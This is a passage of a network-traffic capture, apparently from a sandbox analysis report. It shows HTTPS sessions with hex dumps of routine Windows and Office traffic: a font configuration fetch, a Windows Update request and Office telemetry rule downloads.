2024-11-01 04:52:19 UTC	1378	IN	Data Raw: 79 70 65 2e 65 6e 74 72 69 65 73 7c 7c 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 61 6c 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 63 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 78 3a 34 7d 29 2c 64 3d 6e 65 77 20 61 28 5f 2e 72 61 28 5b 63 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 78 74 28 29 3b 69 66 28 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 21 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 63 29 Data Ascii: ype.entries\|\|typeof Object.seal!="function")return!1;try{var c=Object.seal({x:4}),d=new a(_.ra([c]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.size!=2)return!1;var e=d.entries(),f=e.next();if(f.done\|\|f.value[0]!=c\|\|f.value[1]!=c)
2024-11-01 04:52:19 UTC	1378	IN	Data Raw: 62 2b 39 32 31 36 7d 7d 7d 29 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 66 72 6f 6d 43 6f 64 65 50 6f 69 6e 74 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 66 6f 72 28 76 61 72 20 63 3d 22 22 2c 64 3d 30 3b 64 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 7b 76 61 72 20 65 3d 4e 75 6d 62 65 72 28 61 72 67 75 6d 65 6e 74 73 5b 64 5d 29 3b 69 66 28 65 3c 30 7c 7c 65 3e 31 31 31 34 31 31 31 7c 7c 65 21 3d 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 65 29 29 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 69 6e 76 61 6c 69 64 5f 63 6f 64 65 5f 70 6f 69 6e 74 20 22 2b 65 29 3b 65 3c 3d 36 35 35 33 35 3f 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 Data Ascii: b+9216}}});na("String.fromCodePoint",function(a){return a?a:function(b){for(var c="",d=0;d<arguments.length;d++){var e=Number(arguments[d]);if(e<0\|\|e>1114111\|\|e!==Math.floor(e))throw new RangeError("invalid_code_point "+e);e<=65535?c+=String.fromCharCode

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49753	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:52:19 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-01 04:52:20 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=129259 Date: Fri, 01 Nov 2024 04:52:20 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-01 04:52:20 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49763	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:52:57 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=te1otyXvkGV1W7H&MD=KbCT987Z HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-01 04:52:57 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: ff54e598-aba1-40c4-9386-430dc94d55db MS-RequestId: 164889f0-1f38-46cd-9df5-4fcca11a0f65 MS-CV: vRXdip0JRkaXKS+z.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 01 Nov 2024 04:52:57 GMT Connection: close Content-Length: 30005
2024-11-01 04:52:57 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-01 04:52:57 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.4	49764	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:52:59 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:52:59 UTC	540	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:52:59 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public Last-Modified: Wed, 30 Oct 2024 23:56:08 GMT ETag: "0x8DCF93E6CAB67A0" x-ms-request-id: 3ed0e151-601e-0032-5264-2beebb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045259Z-16849878b787bfsh7zgp804my400000009bg000000008xc8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:52:59 UTC	15844	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-01 04:52:59 UTC	16384	IN	Data Raw: 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e Data Ascii: "0" /> </L> <R> <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" />
2024-11-01 04:52:59 UTC	16384	IN	Data Raw: 20 20 3c 53 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 53 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 38 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 Data Ascii: <ST> <S T="1" /> </ST></R><$!#>10820v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-781
2024-11-01 04:52:59 UTC	16384	IN	Data Raw: 20 54 3d 22 55 36 34 22 20 49 3d 22 38 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 45 76 65 6e 74 73 5f 41 76 67 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 Data Ascii: T="U64" I="8" O="false" N="Events_Avg"> <S T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32"
2024-11-01 04:52:59 UTC	16384	IN	Data Raw: 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f Data Ascii: "0" O="false" N="Count_CreateCard_ValidPersona_False"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Co
2024-11-01 04:52:59 UTC	16384	IN	Data Raw: 20 20 20 20 3c 53 20 54 3d 22 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a Data Ascii: <S T="31" /> </C> </C> <C T="U32" I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C>
2024-11-01 04:52:59 UTC	16384	IN	Data Raw: 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 Data Ascii: <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMillisec
2024-11-01 04:52:59 UTC	16384	IN	Data Raw: 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e Data Ascii: R> <V V="0" T="I32" /> </R> </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIn
2024-11-01 04:52:59 UTC	16384	IN	Data Raw: 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: R> </O> </F> <F T="6"> <O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L>
2024-11-01 04:52:59 UTC	16384	IN	Data Raw: 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c Data Ascii: T="6"> <O T="EQ"> <L> <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.4	49767	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:00 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:00 UTC	517	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:00 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 8207e9df-b01e-0097-6a6a-2a4f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045300Z-159b85dff8fc5h75hC1DFWntr8000000021g000000008s3p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:00 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.4	49766	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:00 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:00 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:00 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 9a0790d9-e01e-0052-7cad-26d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045300Z-16849878b78j5kdg3dndgqw0vg0000000c5000000000nfag x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:00 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.4	49765	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:00 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
